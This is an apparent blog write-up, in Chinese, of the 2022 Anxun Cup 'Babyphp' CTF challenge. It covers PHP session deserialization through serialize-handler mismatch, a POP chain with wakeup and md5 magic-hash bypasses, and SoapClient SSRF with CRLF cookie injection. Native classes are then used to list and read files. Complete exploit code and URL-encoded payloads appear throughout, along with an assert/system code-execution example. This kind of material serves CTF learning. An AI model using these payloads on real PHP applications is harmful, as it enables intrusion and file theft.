2022 安询杯 Babyphp

里面的知识点有session反序列化、原生类的利用、soap ssrf,对于我这种菜鸡还是挺有难度的。。。

基本

session反序列化

我们主要了解这里就可以了

session.serialize_handler的引擎有看下面。
注:php_serialize是从5.5.4开始使用的。

处理器名称存储格式
php键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值

php_serialize

经过serialize()函数序列化处理的数组

处理器-php

<?php

highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['session'] = $_GET['session'];
var_dump($SESSION);

我们访问网页,通过session参数传入一个2,他会在一个tmp的文件夹下面生成一个文件。

那么怎么找到这个文件呢,毕竟每一个人的路径肯定有区别的,这里我们可以Everything这个工具来搜索sess_,就可以知道路径了,接下来我们看看生成了什么。

//生成的
session|s:1:"2";

竖杠的左边是他的键名,右边是他的键值。
也正是键名 + 竖线 + 经过serialize()函数序列化处理的值

处理器-php_binary

<?php

highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['session'] = $_GET['session'];
var_dump($SESSION);

这里就是我们使用的代码,然后传入2,这里修改了一下PHPSESSID为aaa,然后就会生成一个sess_aaa的文件。

//生成的
sessions:1:"2";

session前面是还有一个字符因为不可见的缘故大家看不到。

处理器-php_serialize

<?php

highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
var_dump($SESSION);

老样子输入一个2,它里面文件的内容是

a:1:{s:7:"session";s:1:"2";}

这里php_serialize在内部简单地直接使用 serialize/unserialize函数,他是会自动进行反序列化这就是我们需要利用的。

这里写两个来进行举例 :

这里使用这两个

<?php

highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
var_dump($SESSION);
<?php
highlight_file(__FILE__);

ini_set('session.serialize_handler', 'php');
session_start();

class A
{
    public $a;
    public function __destruct()
    {
        echo($this->a);
    }
}

我们这里写一串序列化的东西,看看下面那个是否会输出phpinfo()

O:1:"A":1:{s:1:"a";s:9:"phpinfo()";}

首先我们在上面那个传入

?session=|O%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo()%22%3B%7D

记住这里要加竖杠,因为第二个文件的解释器是php,我们要让前面成为键名,后面是键值,让他只解析后面的序列化好的字符串,然后这里他会写入一个PHPSESSID里面,我们带着这个一个去访问下面那个文件。

 这里我们看到属性a没有任何赋值,但是最后确实是输出了phpinfo().

我们去看看生成的文件,里面的内容是怎么样的。

a:1:{s:7:"session";s:37:"|O:1:"A":1:{s:1:"a";s:9:"phpinfo()";}

php_serialize处理器是进行了一次php序列化,但是我们传入了一个|,在php处理器的理解是

这三部分

a:1:{s:7:"session";s:37:"  //键名,这个是不解析的

|  //分隔符

O:1:"A":1:{s:1:"a";s:9:"phpinfo()";}  //键值

注意

使用SoapClient类报错的师傅注意一下,这里提供一个我那时候处理的方法,windows的。

我们使用Everything工具,寻找php.ini,找到自己版本的php.ini,然后找到extension=soap去掉前面的分号就可以了

题目

注:以下为自己搭的环境,可能和题目的是有一点区别的。

index.php

// index.php
<?php
//something in flag.php


class A
{
    public $a;
    public $b;


    public function __wakeup()
    {
        $this->a = "babyhacker";
    }


    public function __invoke()
    {
        if (isset($this->a) && $this->a == md5($this->a)) {
            $this->b->uwant();
        }
    }
}


class B
{
    public $a;
    public $b;
    public $k;


    public function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}


class C
{
    public $a;
    public $c;


    public function __toString()
    {
        $cc = $this->c;
        return $cc();
    }
    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        } else {
            echo "1";
            call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}



if (isset($_GET['d0g3'])) {
    ini_set($_GET['baby'], $_GET['d0g3']);
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
} else {
    session_start();
    if (isset($_POST["pop"])) {
        unserialize($_POST["pop"]);
    }
}
var_dump($_SESSION);
highlight_file(__FILE__);

 flag.php

//flag.php
<?php
session_start();
highlight_file(__FILE__);
if ($_SERVER["REMOTE_ADDR"]==="127.0.0.1") {
    $f1ag=implode(array(new $_GET['a']($_GET['b'])));
    $_SESSION["F1AG"]= $f1ag;
} else {
    echo "only localhost!!";
}

这里看到int_set,session_start这些的就可以想到session反序列化,然后在flag.php我们可以使用了$_SERVER["REMOTE_ADDR"],他的意思是检测当前运行脚本所在服务器的 IP 地址必须为127.0.0.1,其实这里就很好想到soap ssrf,接下来发现我们下面我们可以自定义我们new的类和内容,这时候我们就可以使用原生类。

 pop链还是很好触发的。

C::uwant() <- A::__invoke() <- C::__toString() <- B::__destruct()

 然后我们还需要绕过几个东西,首先__wakeup(),我们可以加一处理,但是有疑惑这里题目的环境是7.4,所以我这里使用的也是7.4,但是这不符合__wakeup绕过的版本限制,但是就是可以,原题环境尝试的时候也是可以的,一些大佬也不是特别清楚,有知道的可以说一下吗。。。


然后就是if (isset($this->a) && $this->a == md5($this->a)) 这个判断我们可以使用0e215962017绕过,所以就没了。

<?php

class A
{
    public $a='0e215962017';
    public $b;
}

class B
{
    public $a='1';
    public $b='2';
    public $k='2';
}

class C
{
    public $a='aa';
    public $c;
}
$a = new A();
$b = new B();
$c = new C();
$d = new C();
$b -> a = $c;
$c -> c = $a;
$a -> b = $d;
echo serialize($b);

这里我们着重分析一下这个 call_user_func(array(reset($_SESSION), $this->a));

首先$_SESSION是我们通过sess传入的,然后就是$this->a,这里就是我们自己传入的。

然后就是reset函数,这里用代码看一下

<?php
$b = array("sess"=>'assert');
$c = reset($b);
echo $c;

//回显
assert

然后就是call_user_func,这个没加array,之前是可以执行代码的,当命令执行函数使用,这里他是不支持eval函数的。

call_user_func('assert', 'system("dir");');

加上array以后,就是执行一个类下面的方法,这里回显aaaa。

<?php

class A
{
    public $a;
    public function aaaa()
    {
        echo "aaaaa";
    }
}
call_user_func(array('A','aaaa'));

所以我们只能通过这来执行一个类下面的方法,但是这个ABC这三个类中都没有我们可以帮助我们获得flag的方法,这时候结合上面的flag.php,其实就可以想到用这个来触发一个不存在方法来触发,SoapClient类中的__call()魔术方法,然后来进行soap ssrf。

 然后是exp,这里先使用这个,因为是本地的环境,flag文件就在这个目录,所以我使用glob协议匹配的当前目录,还有就是因为我本地环境的端口是9004,所以这里也是需要改的,如果各位本地搭建的时候,目录有变化也是要加进去的。

<?php

$a = new SoapClient(null, array('location' => 'http://127.0.0.1:9004/flag.php?a=FilesystemIterator&b=glob://./*f*',
    'user_agent' => "aaa\r\nCookie:PHPSESSID=flaghahahahaha",
    'uri' => "http://127.0.0.1:9004/"));
$b = serialize($a);
echo "|".urlencode($b);
//然后设置
get:?baby=session.serialize_handler&d0g3=php_serialize
post:sess=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A22%3A%22http%3A%2F%2F127.0.0.1%3A9004%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A66%3A%22http%3A%2F%2F127.0.0.1%3A9004%2Fflag.php%3Fa%3DFilesystemIterator%26b%3Dglob%3A%2F%2F.%2F%2Af%2A%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A36%3A%22aaa%0D%0ACookie%3APHPSESSID%3Dflaghahahahaha%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

cookie:PHPSESSID=flaghahahahaha

下面之后知道是可以不用的。

//下一步我们需要触发SoapClient
get:?baby&d0g3
post:sess=SoapClient

 然后传入pop链的内容,来触发call_user_func那里了

get不需要传东西
post:pop=O:1:"B":4:{s:1:"a";O:1:"C":2:{s:1:"a";s:2:"aa";s:1:"c";O:1:"A":2:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:2:"aa";s:1:"c";N;}}}s:1:"b";s:1:"2";s:1:"k";s:1:"2";}

 他这时候会回显,这个代表我们成功了。

然后带着我们的cookie: PHPSESSID=flaghahahahaha,去访问重新访问index.php

 这里看到在最后面我们知道了,flag就叫flag,在当前目录(这些是我自己设的)

然后我们就要使用SplFileObject来读取文件内容,然后重新上面的步骤。

<?php

$a = new SoapClient(null, array('location' => 'http://127.0.0.1:9004/flag.php?a=SplFileObject&b=./flag',
    'user_agent' => "aaa\r\nCookie:PHPSESSID=flaghahahahaha",
    'uri' => "http://127.0.0.1:9004/"));
$b = serialize($a);
echo "|".urlencode($b);

这里就可以获得flag。

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

练习两年半的篮球选..哦不对安全选手

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值